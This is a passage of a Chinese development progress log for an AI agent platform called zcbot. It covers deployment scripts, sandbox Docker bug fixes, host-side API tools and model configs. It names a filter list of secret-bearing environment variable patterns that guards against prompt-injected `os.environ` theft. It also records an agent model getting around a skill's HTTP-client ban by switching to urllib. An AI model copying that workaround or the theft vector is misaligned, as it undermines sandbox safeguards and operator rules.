zcbot/PROGRESS.md

128 KiB
Raw Blame History

实施进度

配合 DESIGN.md。本文件只记 phase 状态、决策偏差、文件量、下一步。每条 1-2 句:做了啥 + 关键判断;细节查 git log / git diff / DESIGN §7.9

最后更新:2026-06-02(修 embed 模式登录页一闪而过 — #login 在 embedInit 标记 embed-mode 前先被绘制,提前到 body 首行同步隐藏)


状态

Phase 标题 状态 备注
1-3 骨架 + Skill + run_python 多 skill(coding/proposal/ppt/research/documents/imagegen/videogen/review/patent);CoreCoder 唯一匹配 edit;敏感 env 过滤
4 演化性能力 🟡 Model Profile + Probing ;版本化 prompt 未做
5 Eval Suite ⏸ 不做 dogfooding 替代,probe 覆盖健康检查
6 长任务工程化 🟡 task + 恢复 ;双层记忆 ;context 压缩未做
7 打磨 Docker 沙盒 / 更多 skill
§7 SaaS DESIGN §7 路线 🟡 A 事件流化 ;B 完工 ;D /v1 JSON API ;D' 过渡 auth + dev SPA ;单活 run 锁 + cancel ;0004 schema 瘦身 ;入口归位 ;真 OIDC 待;C Step 1-3 + 3d (Executor + Docker 池 + DockerExecutor + fs 工具进容器)+ Step 5 部署前置对账 + 容器资源 yaml + 应用层磁盘配额(scan+gate) + dogfood 网络放开 + 容器内 pip/npm 源持久化 ;Step 4 完整 egress proxy + Step 3b PGID kill 协议延后到外部用户开放前;外部用户开放仍需 egress proxy + xfs project quota OS 层硬化(§7.5 落地清单 #2 #4)

已完成关键能力

2026-06-03

  • 默认镜像源改清华(pip+apt)/ npmmirror(npm):腾讯源返回了损坏的 litellm-1.87.0 wheel —— 镜像 index 声明的 sha256(fbbba7e…,与 PyPI 官方一致)对,但实际吐出的文件字节算出 bbebefff…,pip 报 THESE PACKAGES DO NOT MATCH THE HASHES(本仓 requirements.txt 未钉 hash,是镜像 index 自声明的 hash 与文件不符 = 镜像端文件损坏/截断,非篡改、非 require-hashes)。deploy/update.sh 三个默认值改:PIP_INDEX_URL → 清华 pypi.tuna.tsinghua.edu.cnAPT_MIRROR → 清华 mirrors.tuna.tsinghua.edu.cnNPM_REGISTRY → 腾讯 mirrors.cloud.tencent.com/npm/(清华无 npm registry;先试 npmmirror 但访问不稳,腾讯 npm 历来 OK —— 坏 wheel 只是腾讯 PyPI 的事,npm 不受影响;备选华为 / USTC npm)。清华境内稳 + 同步及时(阿里 PyPI 曾滞后到没有 litellm>=1.83)。换默认会让下次 build 从 pip 层全量重跑一次(~5-10min),之后命中 cache。对外行为(默认源)变化 → 更 RUN.md:头部「最后更新」、§镜像构建默认源说明、手动 build 示例、故障表(新增 hash-不匹配诊断行 + 其余镜像行对齐新默认)。Dockerfile ARG 默认(官方源 fallback)不动。DESIGN 不动。

  • 回退 ZCBOT_WORKSPACE_DIR env 覆盖(架构有 bug),workspace 落数据盘改用 bind mount:2026-06-02 加的 env 覆盖与路径存储层冲突 —— core/paths.py 把 DB 的 working_dir 锚定 ROOT(代码仓库目录)存相对串,to_db_path 对 ROOT 外路径直接 relative_to raise。env 一旦指向 ROOT 外的 /data/...,三家分叉:文件面板 /v1/filesresolve_workspace(吃到 env)看数据盘、agent resume 走 from_db_path(锚 ROOT)看 ROOT/workspace、新建 task to_db_path 直接 500。现场症状:文件面板"目录尚未创建"但 agent 文件其实写在老 ROOT/workspace。改法:resolve_workspace 回退成 显式 arg > cfg workspace_dir > 默 workspace(均 ROOT/<值>),删掉 env 分支与 import os 无关(os 别处仍用,保留)。要落数据盘改用 bind mount/data/zcbot/workspace 接到 ROOT/workspace(.resolve() 不展开 bind,内核路径保持 ROOT 内,DB 不用改,dev 不受影响)。对外行为变化 → 更 RUN.md:删 .envZCBOT_WORKSPACE_DIR 段、「workspace 落独立数据盘」段改 bind mount(+ RequiresMountsFor 开机顺序硬化)、故障表两行(替换旧 env 行 + 加"目录尚未创建"诊断行)。DESIGN 不动。

2026-06-02

  • 【已于 2026-06-03 回退,见上】resolve_workspace 加 env 覆盖 ZCBOT_WORKSPACE_DIR(per-host 部署,不碰共用 yaml):prod 想把重写入的 workspace/users/ 落到独立数据盘(1T xfs prjquota,空间 + OS 层配额一步到位),但 config/agent.yamlworkspace_dir 是 dev/prod 共用提交的,改成绝对路径会带歪 dev。改法:core/agent_builder.py:resolve_workspace 优先级改为 显式 arg > env ZCBOT_WORKSPACE_DIR > cfg workspace_dir > 默 workspace,env/cfg 值都 ROOT / ws(POSIX 上绝对右操作数覆盖左 → 绝对路径直接生效,相对挂 repo 根)。prod systemd 设 Environment=ZCBOT_WORKSPACE_DIR=/data/zcbot-workspace,dev 不设照旧。PG 暂不迁(元数据库小,留默认 /var/lib/postgresql 少坑,等真涨到 3040G 再说)。对外行为(env 变量)变化 → 更 RUN.md:env 段加 ZCBOT_WORKSPACE_DIR、新增「workspace 落独立数据盘」段(整盘 mkfs.xfs + fstab prjquota + rsync 迁移 + systemd env)、故障表加一行。DESIGN 不动(无架构/schema 变化)。

  • 修 embed 模式"登录页一闪而过"(绘制时机,非鉴权):web/static/dev.html#login 默认 display:flex 且带 login-in .35s 动画,而加 body.embed-mode(→ CSS 隐藏 #login)的 embedInit() 在 body 末尾才跑;单文件 3800+ 行,浏览器常在解析到底部脚本前就先把登录卡画出来 → 闪一下。改法:在 <body> 第一行加一段同步内联脚本,?embed=1 时立即 document.body.classList.add("embed-mode"),赶在 #login 解析/绘制之前隐藏它 → 根本不绘制。只是"绘制闸门",底部 embedInit()(postMessage 握手 / embed-waiting 覆盖层 / token 分支)完全不动,embed-mode 幂等。未提前加 embed-waiting(有 stored token 时 embedInitenterApp 不移除等待层会卡死,故等待层决定仍留底部按 token 判)。bug 修复,DESIGN 不动;URL 参数/命令/env 无变化,RUN 不动

2026-06-01

  • deploy/update.sh 加自更新重跑守卫(修"改了源仍报旧错"根因):脚本 git pull 会改自己 —— 变量默认值在 pull 前已求值、bash 又按字节偏移边读边跑,所以首次拉到"改 update.sh"的提交那一轮,跑的还是旧脚本的过期行为(默认源还是阿里 → litellm 仍报缺版本)。改法:pull 后 git diff --quiet OLD NEW -- deploy/update.sh 检出本脚本有变更,就 exec env ZCBOT_UPDATE_REEXEC=1 bash $0 "${ORIG_ARGS[@]}" 用新版本从头重跑(原始参数原样回传,标记防死循环;pull 幂等,重跑里 pull 变 no-op)。纯运维脚本,DESIGN 不动;RUN.md §部署 SOP 加一条要点。
  • deploy/update.sh 默认源改腾讯 + build 跳过改 --skip-build + 进度可见:部署 build 报 Could not find a version that satisfies the requirement litellm>=1.83.0根因 = 阿里 PyPI 镜像同步滞后(只到 litellm 1.82.6),而 requirements.txt>=1.83.0(zai/GLM provider 要);腾讯 / 清华源已到 1.88。三处改:① 默认镜像源(APT/PIP/NPM)由阿里改腾讯(mirrors.cloud.tencent.com),并修 step 2 host venv pip —— 经 sudo -uPIP_INDEX_URL env 被洗掉,改为脚本显式拼 --index-url,不再靠 host pip.conf(否则 host 仍撞阿里缺版本);② 跳过 sandbox build 从 env ZCBOT_SKIP_SANDBOX_BUILD=1 改为 CLI flag --skip-build(开发期不留 env 别名兼容),顶部 while/case 解析参数;③ 进度可见 —— step 2 pip 去掉 -q 让装包进度可见(step 4 docker build 保留默认 TTY 进度 UI,分层折叠刷新更直观)。纯运维脚本,DESIGN 不动;RUN.md §部署 SOP 三条要点改写 + 故障表加 litellm 版本找不到一行 + 最后更新日期刷新。
  • 修 MP host 工具的全量下载(IP 被封根因):mp_search_summary 之前不给 summary.search 传分页参数 → mp-api 默认 chunk_size=1000list(docs) 自动翻完所有页,limit 只在客户端切片,等于每次搜索都整库级下载 → MP 判 abusive traffic 封 host IP/ASN(403 "blocked")。改为 search(num_chunks=1, chunk_size=limit, ...),服务端单页限量。mp_get_entrieslimit 同样是"只裁剪保存、不减网络流量"的假参数,但 get_entries_in_chemsys 天然全量(相图用途),改不了,只在 description 里点明"拉整个 chemsys、元素越多越重、别反复调"。测试加断言锁定 num_chunks/chunk_size 已传。注:宿主 IP 49.232.14.174 当前仍被 MP 临时封(无公开时限、不确认自动解除),需发邮件 support@materialsproject.org 人工解封后才能联网复测。
  • 加一键部署脚本 deploy/update.sh(Ubuntu / systemd):把日常部署固化成一把梭 —— git pull --ff-onlypip install -rdb upgrade headdocker build sandbox 镜像 → systemctl restart zcbotcurl /healthz 验活。两处必须钉死的顺序 / 步骤:① migration 不能漏(db/migrations/env.py 直读 os.environ['ZCBOT_DB_URL'] 不读 .env,脚本从 .env 抠出来 env ZCBOT_DB_URL=... 喂进去);② build 必须在 restart 之前 —— sandbox 容器 per-user 长驻复用、tools/ 是 build 进镜像(非 mount),restart 时 pool.shutdown_all 清旧容器、下次 ensure() 才用新 zcbot-sandbox:latest 重建,顺序反了新 tools/ 要等下次重启才生效。sandbox 每次都 build 无所谓:重活(pip ~1G / chromium / 字体 / mermaid)都在 Dockerfile COPY tools/ 之上,layer cache 让改代码部署秒过、只有 requirements.txt 变了才整体重建(~5-10min)。镜像源默认阿里(${VAR-default} 不带冒号,显式置空可回落官方源)。前置守卫:非 root / 非 git 仓库 / 工作区脏(已跟踪文件)/ 缺 .env 中止;healthz 15s 不 ok → dump journalctl 非零退出。ZCBOT_SKIP_SANDBOX_BUILD=1 跳过 build(host backend 机)。一次性 bootstrap(useradd / 写 unit / enable)不进脚本,留 RUN.md。git 可执行位已置(100755)。纯运维脚本,DESIGN 不动;RUN.md §部署 SOP 重写为指向脚本 + 手动逐条 fallback。
  • sandbox 镜像加中文字体,修 matplotlib / mermaid 出图中文方块:用户报绘图(mermaid + matplotlib)出的 PNG 里中文全是豆腐块 □。根因 = deploy/sandbox/Dockerfilepython:3.12-slim 起一个 CJK 字体都没装:matplotlib skills/plot_pub/style.py::_find_chinese_font() 扫候选无果退回 Arial/DejaVu;mermaid 经 mmdc→chromium 渲染,chromium 经 fontconfig 也找不到中文字形;skills/ppt/scripts/render_icon.py 引用的 wqy-microhei.ttc / NotoSansCJK-Regular.ttc 路径根本不存在。三处同一病根。改法:① Dockerfile chromium 块后加一层 apt-get install fonts-noto-cjk fonts-wqy-microhei fontconfig && fc-cache -f(Noto 出版级 +~330MB,wqy 兜底 +~5MB 且匹配 style.py 现有候选 / render_icon 引用路径);② style.py 候选清单首位加 "Noto Sans CJK SC" 让 matplotlib 优先用 Noto。fontconfig 刷缓存供 chromium 选字;matplotlib 走自家 font_manager 扫 /usr/share/fonts 运行时首用自动建缓存,无需额外处理。否决仅装 wqy(体积小但黑体不如 Noto 精致,出版图略糙)/ 仅装 Noto(render_icon 第一候选 wqy.ttc 落空走 fallback OK 但不够干净)。纯镜像 + 配置改,DESIGN 不动(无架构 / 取舍 / schema 变化);RUN.md 故障表加一行(中文方块 → 重 build 镜像 + 清旧容器 + fc-list :lang=zh 验证)。生效:改了 Dockerfile 必须 docker build 重建 + docker rm -f 清旧容器 + restart web,旧容器仍跑老镜像不会自动更新。
  • documents / Materials Project secret-bearing 能力改 host-side tools,key 不进 sandbox:新增 tools/documents.py 三工具(document_list_kb / document_search / document_download)和 tools/materials_project.py 三工具(mp_search_summary / mp_get_structure / mp_get_entries),core/agent_builder.py 仅在宿主 env DOCUMENT_SEARCH_API_KEY / MP_API_KEY 存在时注册。document_download / mp_get_structure / mp_get_entries 绑定当前 task_dir 写文件,模型不能传 working_dir;document_search 默认截断 md_content,避免整篇论文进上下文。同步更新 DESIGN.md secret-bearing domain tools 规则、RUN.md env / 故障兜底、SKILL_LIST.mdskills/documents/SKILL.mdskills/pymatgen/SKILL.md;旧 run_python helper 不再是带 key API 主路径。测试 tests/test_secret_host_tools.py 覆盖 documents search 截断、download 固定 task_dir、MP tool 不泄露 host key。
  • skills/pymatgen/materials.py::mp_rester() + scripts/smoke_scientific_skills.py 改走 host tool:mp_rester 是 sandbox 内读 MP_API_KEY 的旧入口,host tool 化后多余且违背"key 不进 sandbox",直接删(连带清 import os / contextlib.contextmanager,只留 CEMENT_PHASES / lookup_phase);smoke A6 / step D 改用 MaterialsProjectSearchSummaryTool实测闭环:初次 step D 真连 api.materialsproject.org403(工具行为正确,403 干净透传成 [Error] 不崩),定位为 .env legacy 旧版 key 在新版 mp-api 失效;换 next-gen materialsproject.org dashboard 长 key 后复测通过(查 Ca3SiO5 返 3 条 mp-xxxx + energy_above_hull,~5s),MP host 工具端到端联网通路确认可用。documents 工具未联网实测(无现成可验证调用),逻辑同 web_search 形态。

2026-05-29

  • Seedream 5.0 i2i base64 通路 probe + DESIGN §8.1 后续步骤落册:用户场景"调 seedream 出图 → 基于该图二次修改" / "上传外部参考图让 agent 据此干活"两条路径,主模型 DeepSeek V4 纯文本覆盖不了。详评 3 方案后选 E + C 组合(tools/seedream.pyreference_images 参数走 seedream 5.0 i2i + 新增 tools/look_at_image.py 走豆包 Seed 1.6 vision tool 调度),否决 A(换豆包当主 chat,降 code / tool calling 质量 + 改 loop/memory 工程面 5×)/ B(后台隐式 vision 路由,失 agentic 控制 + 描述质量黑盒 + token 浪费)。写探针 scripts/probe_seedream_i2i.py 实测:豆包 Seedream 5.0(doubao-seedream-5-0-260128)/images/generations endpoint 接受 image_urls=["data:image/png;base64,..."],200 返回新图 TOS URL + usage.generated_images=1(约束:输出 size ≥3686400 像素 / ~1920²,单张参考 ≤10MB,最多 14 张);base64 通路成立 → 内网部署无需对象存储中介,排除最大工程不确定性。E+C 实施清单 / 风险 / 升级到 A 的信号已落 DESIGN §8.1,本版仅 probe + design,tool 与 prompt 改造未启动
  • web 端 tool_call 标题行改显中文活动描述(dev.html):用户反馈 web 端工具调用只显示 工具调用:run_python / shell 等工具名,看不出"在干啥"。根因有个真 bug:dev.html 实时流分支(tool_call)读 ev.data.arguments,但后端 core/loop.py::_execute_tool_call emit 的字段叫 args(已解析 dict)+ args_preview(截 200 字),字段名对不上 → 前端拿到的永远是空串,<pre> 是空的、连带 extractArtifactRels(argsStr,...) 也抽不到产物路径。改法:① 新增 toolActivityLabel(name, args) helper(挨着 _workingDirName),按 12 个工具的"关键代表参数"套中文动词 + 截断值:read/write/edit→读取/写入/编辑文件: {path}、glob→查找文件: {pattern}、grep→搜索内容: {pattern}、shell→执行命令: {command}、run_python→运行 Python: {code}、web_fetch→抓取网页: {url}、web_search→联网搜索: {query}、load_skill→加载技能: {name}、seedream/seedance→生成图像/视频: {prompt},未知工具回退到 name {JSON截断}工具调用: name;clip 把空白压一行 + 超长加 。② 实时流分支 ev.data.argumentsev.data.args(修字段 bug)并把 <summary> 文案换成 label。③ 历史消息回放分支(p.tool_calls,LiteLLM 格式 tc.function.arguments 是 JSON 字符串)同步:先 JSON.parseargsObj 再生成 label,保持实时 / 历史一致。完整参数仍在折叠 <pre> 里,展开可看。选型:用前端静态模板(零成本 / 不走模型 / 立即生效),否决"让模型每次调用前产出一句中文意图"(改 prompt + 每调用烧 token + 依赖模型配合)。纯前端改,DESIGN.md / RUN.md / SKILL_LIST.md 不动(无架构 / CLI / env / skill 变化)。生效:刷新 web 页面即可,无需重启后端。
  • _exec_shell / _exec_python argv 里的 setsid 修 docker exec 延迟 stdout 丢失:上一条 _run_subprocess 重写后用户实测 LLM 拿 cement energy efficiency 跑 paper_server 检索仍返空 [exit 0] 8 字符,且 print(f"共命中 {len(papers)} 条结果\n") 这种必有输出的代码也丢。根因 = setsid,不是 _run_subprocess 的 poll loop(上一条修对了一个独立的 bug,但不是用户当下症状的元凶)。实证差异:docker exec ... setsid python -c "import time; time.sleep(2); print('hello')" 等满 2.06s 但输出空;同条件去掉 setsid docker exec ... python -c "..." 等满 2.08s + 输出 hellosetsidsetsid() syscall 把进程变 new session leader without controlling terminal 之后 execvp(python),docker exec / runc 的 stdio attach 对"调用方变 session leader"敏感(具体哪一层没深挖到 runc 源码,经验上 docker exec + setsid + 延迟输出 = stdout 数据被截断,业界踩过的坑)。短输出(print('hello') 瞬时完成)能在窗口内漏出去,延迟输出(search() 等 httpx 1-2s)就全丢 —— 完美解释为什么 LLM 简单 print(version) 测试时部分输出能回但真业务调用全空。为什么之前 host 侧 docker exec ... python -c "from skills.research.paper import search; ..." 2.94s 拿 10 条成功:那条没有 setsid,docker exec 等的就是 python 本身,3s 全程都阻塞读 stdout 不会丢。setsid 历史上是 §7.5 Stage C Step 3b PGID kill 协议铺路用的(PROGRESS 上有"延后到外部用户开放前"这条 work item),协议没实现的当下 setsid 是空头载荷 + 副作用改法:core/executor_docker.py:141:177 各删 1 行的 "setsid",argv 形态变 docker exec ... <container> bash -c <cmd> / ... python <script>否决:(a) setsid --wait <prog> —— 强制 setsid 等子退 + 透传 exit code,但需要 util-linux 2.32+ 且增加一层依赖;PGID kill 协议没做的当下没必要;(b) 包一层自己写的 wait wrapper —— 同上,过度工程;(c) 改 docker exec 加 -t 强制 tty —— 引入 \r\n 转换 + 影响输出清晰度,非生产做法。测试(tests/test_executor_docker.py):① 更新 test_shell_invokes_docker_exec 断言 argv[container_idx+1:] == ["bash", "-c", "echo hello"](原 ["setsid", "bash", "-c", ...]);② 更新 test_run_python_tmp_scriptargv[-3] == "setsid" 断言;③ 新加 test_run_subprocess_delayed_output_not_lost:sys.executable, "-c", "import time; time.sleep(1); print('LATE')" 真子进程跑,断 LATE 在 stdout 里 + [exit 0](Windows skip);④ 新加 test_argv_does_not_contain_setsid:patch Popen 抓两次 call(shell + run_python)的 argv,断 "setsid" not in argv 防回潮。全套 19/19 PASS(老 17 + 2 新)。未来加 PGID kill 协议时:不能裸 setsid 回潮 —— test_argv_does_not_contain_setsid 会挂,会强制实现者去查 PROGRESS 这条把 setsid 用对(setsid --wait 或 wrapper)。部署生效:git pull && systemctl restart zcbot,sandbox 容器不用 rm。经验值更新:这次诊断走了弯路 —— 上一条 _run_subprocess 重写虽然修了一个真 bug(communicate poll loop 违反 API + bash block-buffered chunk 丢),但不是用户当下症状的元凶,setsid 才是。两个 bug 都贡献"8 字符 [exit 0]"的部分场景:poll loop 影响多 chunk 输出收集,setsid 影响延迟输出收集,各自独立,都得修。DESIGN.md 不动(纯实现 bug 修,§7.5 Step 3b PGID kill 协议状态没变,只是落实时改用 setsid --wait 而非裸 setsid,这是个实现细节不是架构变化);RUN.md 不动;SKILL_LIST.md 不动。
  • core/executor_docker.py::_run_subprocess 重写修 docker exec stdout 多 chunk 静默丢失 bug:用户实测 LLM 在容器里调 from skills.research.paper import search / shell echo "test"; ...; echo "done" 拿到空 [exit 0] 8 字符,而 host 侧 docker exec ... python -c "from skills.research.paper import search; r=search(...)" 同 query 2.94s 拿 10 条切题结果 —— 网络 / DNS / paper_server / helper / httpx 全清白,问题在 tool wrapper 自己根因:旧实现 while True: try: proc.communicate(input=stdin, timeout=0.5) except TimeoutExpired: ... 在 poll loop 里反复调 communicate(),违反 subprocess API 假设(communicate 文档明说 "should be called only once") + 配合 setsid bash -c "..." 的 block-buffered stdout(pipe 而非 tty 触发 4K block buffering)在多 chunk 输出时序下 chunk 静默丢失。具体路径:echo "test" 第一个 token 几乎 buffer 还没装就到 setsid bash 收尾 flush 那一刻被读到 ; timeout 3 python3 ... 子进程 + 后续 echo "done" 走的是 setsid 子会话的二级 buffer,communicate 在 0.5s 轮询窗口里要么完全读不到要么读半截,内部 self._fileobj2output 状态在反复 TO 后某些 Python 版本下不连续。重写实现(D 候选,4 候选里选最小补丁):① 入口 inline 查一次 cancel_check,True 立即返不起 Popen(同步快路径 + 消除单测 race);② 单次 proc.communicate(input=stdin, timeout=timeout),违反 API 的 poll loop 彻底删;③ cancel 检查移到侧 daemon 线程,周期 _CANCEL_POLL_INTERVAL_S=0.2(模块常量,单测 patch 0.02 加速)poll cancel_check,命中即 cancel_hit.set() + proc.kill();④ TimeoutExpired 分支 kill + 二次 communicate()self._fileobj2output 续读累积 chunks 不丢已读;⑤ cancel 优先于 timeout(canceller 设了 hit 即使 communicate 也抛 TO 时优先返 cancelled)。否决:(A) 2 reader 线程裸 drain stdout/stderr.read() —— ~40 行,可选但 D 最小;(B) selectors.PollSelector 非阻塞 read —— ~50 行,Windows caveat(咱们 Linux 部署不踩,但代码上多一层平台分支);(C) 整链路 sync→async —— 大手术,不值。回归测试(tests/test_executor_docker.py):① test_shell_canceltest_shell_cancel_inline_fastpath(入口快路径,Popen 不起)+ test_shell_cancel_via_canceller_thread(cancel_check 第 1 次 False 让 inline 放行第 2 次起 True 让侧线程触发,threading.Event 同步 mock kill);② 新加 test_run_subprocess_collects_multi_chunk_output 起真子进程 bash -c 'echo A; sleep 0.6; echo B; sleep 0.6; echo C' 断 A/B/C 全在结果里(Windows skip,Linux CI/部署跑),这条 case 在旧实现下必挂、新实现必过 —— 直接锁死本 bug 回归;③ test_shell_timeout / test_fs_tool_timeout 移除已死的 time.monotonic patch(新代码不用 time.monotonic 跟踪 elapsed,改靠 communicate(timeout=N) 自带累计)。结果 17/17 PASS(老 15 + 拆 1 加 2 = 17,multi-chunk 那条 Windows skip 计入)。部署生效:重启 web 进程 + 老 sandbox 容器无需 rm(代码改在 host 侧 executor,容器本身行为不变,新请求进 new wrapper 即用)。行为变化:cancel 响应延迟 ~500ms → ~200ms(侧线程 wait 0.2s 改善);timeout 错误文案不变;线程开销 per call 多 1 个 daemon thread 只在 cancel_check is not None 时起,忽略不计。DESIGN.md 不动(无架构变化,纯实现 bug 修;§7.5 Stage C Step 3b "PGID kill 协议" 跟本 bug 正交,该 work item 延后到外部用户开放前的状态没变);RUN.md 不动(无 CLI / env / 文件布局变化);SKILL_LIST.md 不动(skill 列表无变化)。
  • 3 个 SKILL.md 校准 sandbox 下外部凭证可用性:用户实测 LLM 报 documents 缺 DOCUMENT_SEARCH_API_KEY,追到 tools/run_python.py::_SENSITIVE_PATTERNS = ("API_KEY", "TOKEN", "SECRET", "PASSWORD", "PRIVATE_KEY") 在 subprocess 起前删所有名含这些字面的 host env —— 设计是挡 prompt 注入 print(os.environ) 抽 ARK / JWT_SECRET 等(JWT_SECRET 一旦露=任意身份伪造),误伤了 skill 端从 env 读 key 的 pymatgen.materials.mp_rester()skills.documents.client._api_key()(docker backend 下 host env 根本不入容器,问题更彻底)。连带发现:research SKILL.md 排版跟两者太像(都"准备段写 import + env 说明"),LLM 看 documents 失败类推也放弃 research —— 可 research/paper.py:10 PAPER_SERVER_URL 是 URL 有默认值 http://paper.xxhhcty.xyz:8080、过滤器根本不碰;被用户逼试又用 urllib.request 钻反模式行 128 只禁 httpx/requests 的字面空子,跳过 helper 后 SKILL.md 教的 search filter / 中文转英文术语全丢,search=cement+based 字符级模糊匹配返 6809 条横跨无人机 / 锂电池 / 热界面 LLM 还以为搜对了。改 3 个 SKILL.md:① pymatgen H1 后插 WARNING,明示 mp 联网不可用 + 列离线 5 能力(Structure.from_file / SpacegroupAnalyzer / XRDCalculator / CEMENT_PHASES / VASP 输入)+ 禁脑补晶格;② documents H1 后插 WARNING,标整体不可用 + 降级到 research / 用户自导出;③ research 在 "准备"段后加一段 callout 明示不持 secret + sandbox 任何模式都能用 + documents 不可用时是降级首选,反模式行 128 扩成"任何 HTTP 客户端(httpx/requests/urllib/aiohttp/curl)裸调"并说清裸调代价(SKILL.md 教学全丢)。SKILL_LIST.md 速览表 documents / pymatgen 加 ⚠️ 状态标 + 最后更新 2026-05-29;RUN.md env 段 DOCUMENT_SEARCH_API_KEY / MP_API_KEY 行下加 ⚠️ 注脚说 sandbox 被过滤器拦。架构方向(下轮做):不取消过滤器(会把 ARK / JWT_SECRET / BOCHA / ZCBOT_ADMIN_TOKEN 全暴露,prompt 注入面爆开),不为每 service 包 host tool(线性增长 + 拆 query / 后处理割裂 LLM 体验),走业界 2025-2026 主流的 credential broker / credential proxy(Infisical Agent Vault / NVIDIA agentic workflow 指南推):一个外发代理持所有 key,sandbox 出站 HTTP 经它按目标域名 / URL 前缀注入 auth header,新增 service 加一行 broker 配置即可,key 永不入 sandbox + prompt 注入抗性同 host tool 方案,代价是 ~100 行 fastapi 小服务 + Dockerfile env 加 MP_BASE_URL=http://broker:8080/mp 这类 URL(URL 不是 secret,过滤器不碰)。两种落地形态:A forward proxy (HTTPS_PROXY,需自签 CA 装容器) / B URL-rewriting reverse proxy(broker 暴露 /mp/* /docs/* 路由,skill 改 BASE_URL,不用 MITM)—— 倾向 B,工程量更小。DESIGN.md 本轮不动 —— broker 实际落地时再加 §7.X "外部凭证代理范式"段,避免 DESIGN 描述未实现内容。

2026-05-28

  • skills/review/SKILL.md 加"长文档处理"段(骨架扫描 + 用户挑章节深审 + 中间文件落盘):用户报实际审稿场景里"有些文件很多页",现 SKILL.md 的"审稿顺序"只讲做什么维度(结构/语义/逻辑/表达/细节),不讲长文怎么切 —— 一篇 50 页报告塞一轮处理,中段易略读、修改稿覆盖不全、跨章一致性问题漏掉、易超输出限制。新加 ## 长文档处理 段插在"审稿顺序"和"输出格式"之间:阶段 1 骨架扫描 —— 通读全文只出章节目录 + 全局问题(主旨/论证链/跨章一致性/结构)+ 每章一句话粗读印象,不出修改稿,带专用输出模板,结束后停下等用户挑章节;阶段 2 分段深审 —— 用户指定后按"审稿顺序"做完整深审,每段独立避免数十页润色稿一把吐,允许多轮每轮 1-3 章;中间文件落盘 —— Claude 自主判断要不要写,典型三类(骨架 review-outline.md / 分章 review-<编号>-<短标题>.md / 合并稿 <原文>.revised.<扩展名>),默认原文同目录,只读位置或路径不明放 cwd,要求"写完同时给文件路径 + 关键摘要"避免只丢路径不汇报。"输出格式"段开头加交叉引用提醒长文先看新段不要直接套常规模板。否决:(a) 全自动逐段(不让用户挑) —— 长文里大部分章节其实没大问题,逐段精修浪费 token + 把跨章问题切散;(b) 单轮两遍法(pass 1 全局 + pass 2 局部) —— 仍是一把梭,输出超限风险一样;(c) 硬编码字数 / 页数门槛 —— 给"约 5000 字 / 8 页 / ≥4 章节"作启发标记 + 列出典型长稿类型(申报书/报告/学位论文/标书/蓝皮书),让 LLM 综合判断更稳。DESIGN.md 不动(纯 skill 内部流程,无架构变化);RUN.md 不动(无 CLI / env / 文件布局变化)。
  • 新增 config/models/local.yaml(family=local,variant r1 / qwen3)接内网 OpenAI 兼容推理服务,涉密任务专用:用户报建材院有些科研 / 立项 / 配方任务不能上公网模型(数据敏感),内部已部署 DeepSeek-R1(满血,调试中)+ Qwen3-30B-A3B(MoE)在 http://182.54.21.126:9000/v1(OpenAI 兼容,共享同一 key)。yaml 两个 variant model_idopenai/DeepSeek-R1 / openai/Qwen3-30B-A3B(litellm provider 前缀 openai/,后段透传给 base_url),api_base 指内网 IP,api_key_env 同填 LOCAL_LLM_API_KEY上下文取舍:R1 满血官方 128K → max_context=131072 / reliable=65536;Qwen3-30B-A3B 原生 32K → max=32768 / reliable=16384,reliable 给一半跟 deepseek_v4 / glm 档案比例一致。thinking_mode=false 是关键:R1 / Qwen3 是天生推理模型默认就思考(响应里带 <think> 标签),不通过 OpenAI / DeepSeek V4 的 reasoning_effort 等级控制 — 设 true 会发 reasoning_effort 字段,本地 vLLM / sglang 多半不认报 400。tool_calling_quality=fair 标注 R1 / Qwen3 tool use 弱于 V4 / GLM(routing 层用到的话会避开,目前只是文档标记)。optimal_temperature=0.6 按用户给的值。.envLOCAL_LLM_API_KEY(用户已填实际值);RUN.md env 段同步加说明 + probe 命令两行(local.r1 / local.qwen3)+ 最后更新日期改 2026-05-28。初次连通性测试:local.qwen3 跑通(15s,prompt=13 / completion=363,响应带 <think> 推理段);local.r1 当前 InternalServerError 500(服务器侧还在调试,非 yaml 问题)。第二个 variant 原本写 Qwen/QwQ-32B,实测服务端返回 model=Qwen3-30B-A3B → 改 model_id + display_name 对齐真实部署的 MoE 模型(Qwen3 系列 30B 总参 / 3B 激活,2025 阿里新出),variant key qwqqwen3 跟着改。不改 agent.yaml 默认模型(default_modeldeepseek_v4.flash),涉密任务用户显式选;未写"敏感任务自动路由本地模型"逻辑 — 当前没 sensitivity 标记机制,加是大改,先按显式选,要不要自动路由后面再说。否决:(a) family 叫 private / intranetlocal 更短且语义对齐(本地推理服务);(b) model_id 不加 openai/ 前缀 — litellm 不知走 OpenAI 兼容协议会按 model 名猜 provider 必跪;(c) reasoning_effort_levels 给 ["low","medium","high"] — 跟 thinking_mode=false 配相互矛盾,留空更干净;(d) 默 default_model 切到 local.r1 — R1 推理慢、tool calling 弱、且公网模型多数场景代价 / 质量更好,涉密是少数;(e) 在 config/media/ 加同名 file — local 是 chat LLM 不是媒体生成,放 config/models/ 才对。DESIGN.md 不动(新加 model 档案无架构变化)。
  • LoadSkillTool 在 docker backend 下返回 host 绝对路径导致容器内 fs 工具找不到 references 的 bug:实测部署机 dogfood analyze skill 时,LLM 调 load_skill('analyze') 拿到 header [skill=analyze, dir=/home/lighthouse/zcbot/skills/analyze],照 SKILL.md 教学拼 <skill_dir>/references/pico_template.mdread →"file not found"。根因:core/executor_docker.py 设计上 fs/shell/run_python 全走 docker exec 进容器(行 56-60 CONTAINER_TOOLS),skills/ bind mount 到容器内 /sandbox/skills:ro(core/sandbox/pool.py:227-229)—— 容器 namespace 里没有 host 路径(/home/lighthouse/zcbot/... 不存在),只有 /sandbox/skills/analyzeLoadSkillTool 跑在 host agent 进程里,塞给 LLM 的 dir=... 一直是 host 绝对路径,docker backend 下 LLM 用这条路径调容器内 read/glob/grep 必抓瞎。为什么没早暴露:proposal/research/ppt 这些 references-heavy skill 历史多在 host backend(开发期)跑通,docker backend 是部署期才打开;且 LLM 经常就着 SKILL.md 本体直接干活不去 read references,踩到的人不多;analyze 拆成 5 references 强制 read,首次集中暴露。修法(A 候选,user 选):LoadSkillToolcontainer_skills_dir: Optional[str] 构造参数,有值时返回头 dir=<container_skills_dir>/<skill_name>(去重末尾斜杠),无值保持原 host 绝对路径。agent_builder.py:392-405 在装 LoadSkillTool 时复用 select_executor 同款 env 判断(os.getenv("ZCBOT_SANDBOX_BACKEND")=="docker"),为 True 时传 "/sandbox/skills"(与 pool.py mount target 